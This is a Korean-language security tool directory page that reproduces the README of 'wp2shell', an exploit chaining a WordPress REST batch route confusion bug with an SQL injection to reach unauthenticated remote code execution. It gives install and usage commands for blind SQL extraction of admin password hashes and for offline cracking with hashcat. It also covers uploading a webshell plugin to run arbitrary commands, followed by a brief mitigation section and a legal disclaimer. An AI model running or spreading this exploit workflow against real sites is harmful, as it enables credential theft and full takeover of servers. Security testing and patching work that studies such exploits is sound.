Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
wp2shell — CVE-2026-63030 (RCE) + CVE-2026-60137 (SQLi) | Kitploit
도구/GitHubGitHub/ekomssavior/wp2shell
Password CrackingPayload GenerationVulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration TestingRed Teaming
GitHubekomssavior/wp2shell

wp2shell

CVE-2026-63030 (RCE) + CVE-2026-60137 (SQLi)

저장소 보기
82342개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

wp2shell 제작: ek0ms savi0r

WordPress 코어 POC용 인증 없는 원격 코드 실행 (CVE-2026-63030 + CVE-2026-60137)

wp2shell은 WordPress 코어의 심각한 취약점 체인을 위한 익스플로잇입니다. REST API 배치 경로 혼동(batch route confusion) 버그와 WP_Query의 SQL 인젝션을 연결하여 취약한 WordPress 설치 환경에서 인증 없는 원격 코드 실행을 달성합니다.

세부 정보내용
관련 CVECVE-2026-63030 (REST 배치 경로 혼동) + CVE-2026-60137 (author__not_in SQLi)
영향 범위WordPress 6.9.0 – 6.9.4, 7.0.0 – 7.0.1
패치 버전6.9.5, 7.0.2
인증 필요없음 — 인증 불필요
CVSS치명적 (RCE 체인)
발견자Adam Kues (Assetnote / Searchlight Cyber)
의존성Python 3.8+ — 표준 라이브러리만 사용

작동 원리

이 익스플로잇은 WordPress 코어의 두 가지 버그를 연결합니다:

  1. CVE-2026-60137 — SQL 인젝션 – author__not_in이 배열 대신 문자열로 전달되면 WordPress는 is_array() 검증 가드를 건너뛰고 원시 값을 NOT IN (...) SQL 절에 직접 삽입합니다.

  2. CVE-2026-63030 — 배치 경로 혼동 – /wp-json/batch/v1 엔드포인트는 병렬로 $matches 및 $validation 배열을 생성합니다. 잘못된 형식의 하위 요청은 $matches가 아닌 $validation에 추가되어 +1 인덱스 이동이 발생합니다. 하위 요청 i는 하위 요청 i+1의 핸들러로 디스패치됩니다.

연결된 공격: 내부에 author_exclude 문자열을 포함한 GET /wp/v2/users 요청을 담은 POST /wp/v2/posts 요청이 메서드 허용 목록과 입력 검증을 모두 우회합니다. 이 문자열은 author__not_in으로 WP_Query에 도달해 SQL에 삽입되며 — 인증 없는 블라인드 SQL 인젝션을 가능하게 합니다.

이를 바탕으로 이 도구는 다음을 수행할 수 있습니다:

  • 관리자 비밀번호 해시 추출
  • 관리자로 인증 (해시가 크래킹된 경우)
  • 악성 플러그인 업로드
  • 임의의 시스템 명령 실행

기능

기능설명
취약점 확인안전한 시간 지연 프로브 — 데이터를 읽지 않으며 아무것도 변경하지 않음
데이터 추출효율적인 추출을 위한 이진 탐색 최적화가 적용된 블라인드 SQL 인젝션
사용자 해시 덤프wp_users에서 user_login 및 user_pass 해시 추출
원격 코드 실행관리자로 인증하고 웹셸 플러그인을 업로드하여 명령 실행
대화형 셸지속적인 명령 실행 세션
컬러 출력스캔 결과에 대한 명확한 시각적 피드백
의존성 없음Python 표준 라이브러리만 사용

설치

git clone https://github.com/ekomsSavior/wp2shell.git
cd wp2shell
chmod +x wp2shell.py

이것으로 끝입니다. 타사 패키지는 필요하지 않습니다.


사용법

./wp2shell.py <url> [command] [options]

대화형 모드 (메뉴 기반)

./wp2shell.py http://target.com

번호가 매겨진 옵션을 통해 모든 기능을 사용할 수 있는 대화형 메뉴를 실행합니다.

명령어

check — 취약점 확인 (안전)

악용 가능 여부를 확인하기 위해 시간 지연 프로브를 수행합니다. 데이터를 읽지 않으며 아무것도 변경하지 않습니다.

./wp2shell.py http://target.com check

read — 데이터 추출 (블라인드 SQL 인젝션)

시간 기반 블라인드 SQL 인젝션을 사용하여 데이터베이스에서 정보를 추출합니다.

# 서버 지문 수집 (버전, 데이터베이스, 사용자)
./wp2shell.py http://target.com read

# 사용자 로그인 및 비밀번호 해시 추출
./wp2shell.py http://target.com read --users

# 데이터베이스 이름 추출
./wp2shell.py http://target.com read --database

# MySQL 버전 추출
./wp2shell.py http://target.com read --version

# 사용자 정의 SQL 쿼리
./wp2shell.py http://target.com read --query "SELECT @@version"

shell — 원격 코드 실행

유효한 관리자 자격 증명이 필요합니다. SQL 인젝션으로 비밀번호 해시를 복구할 수 있지만, 복구된 평문 비밀번호를 직접 입력해야 합니다.

# 단일 명령 실행
./wp2shell.py http://target.com shell --user admin --password 'recovered_pass' --cmd "id"

# 단일 명령 실행 (약식)
./wp2shell.py http://target.com shell --user admin --password 'recovered_pass' --cmd whoami

옵션

옵션설명
--userswp_users에서 user_login 및 user_pass 추출
--database현재 데이터베이스 이름 추출
--versionMySQL 버전 추출
--query "SQL"사용자 정의 SQL 쿼리 실행 (블라인드 추출)
--user USERRCE에 사용할 관리자 사용자 이름
--password PASSRCE에 사용할 관리자 비밀번호 (SQLi로 복구된 평문)
--cmd CMD웹셸을 통해 실행할 명령

예제 워크플로

# 1. 대상이 취약한지 확인
./wp2shell.py https://example.com check

# 2. 관리자 비밀번호 해시 추출
./wp2shell.py https://example.com read --users

# 3. 해시를 오프라인으로 크래킹 (hashcat, john 등 사용)
# hashcat -m 400 <hash> /path/to/wordlist.txt

# 4. 복구된 비밀번호로 명령 실행
./wp2shell.py https://example.com shell --user admin --password 'cracked_pass' --cmd "id"

영향받는 버전

브랜치영향받는 버전패치 버전
6.9.x6.9.0 – 6.9.46.9.5
7.0.x7.0.0 – 7.0.17.0.2
6.8.x6.8.0 – 6.8.5 (SQLi만, RCE 없음)6.8.6

6.9.0 이전 버전은 전체 RCE 체인의 영향을 받지 않습니다.


탐지 및 완화

방어자용:

  • 즉시 6.9.5, 7.0.2 이상으로 업데이트
  • Cloudflare WAF 고객은 자동으로 보호됩니다
  • Wordfence 고객은 방화벽 규칙이 적용됩니다
  • 중첩된 requests 본문이 포함된 POST /wp-json/batch/v1 요청을 모니터링하세요
  • 배치 라우트의 404가 항상 "패치됨"을 의미하는 것은 아닙니다 — WAF/CDN이 익명 REST API 접근을 차단하고 있을 수도 있습니다

법적 고지

이 도구는 교육 및 승인된 보안 테스트 목적으로만 사용해야 합니다.


크레딧

  • 발견: Adam Kues (Assetnote / Searchlight Cyber)
  • CVE-2026-60137 (SQLi): TF1T, dtro, haongo
  • CVE-2026-63030 (배치 경로 혼동): Adam Kues

취약점에 대한 자세한 내용은 Searchlight Cyber 연구 블로그를 참조하세요.

도구 다운로드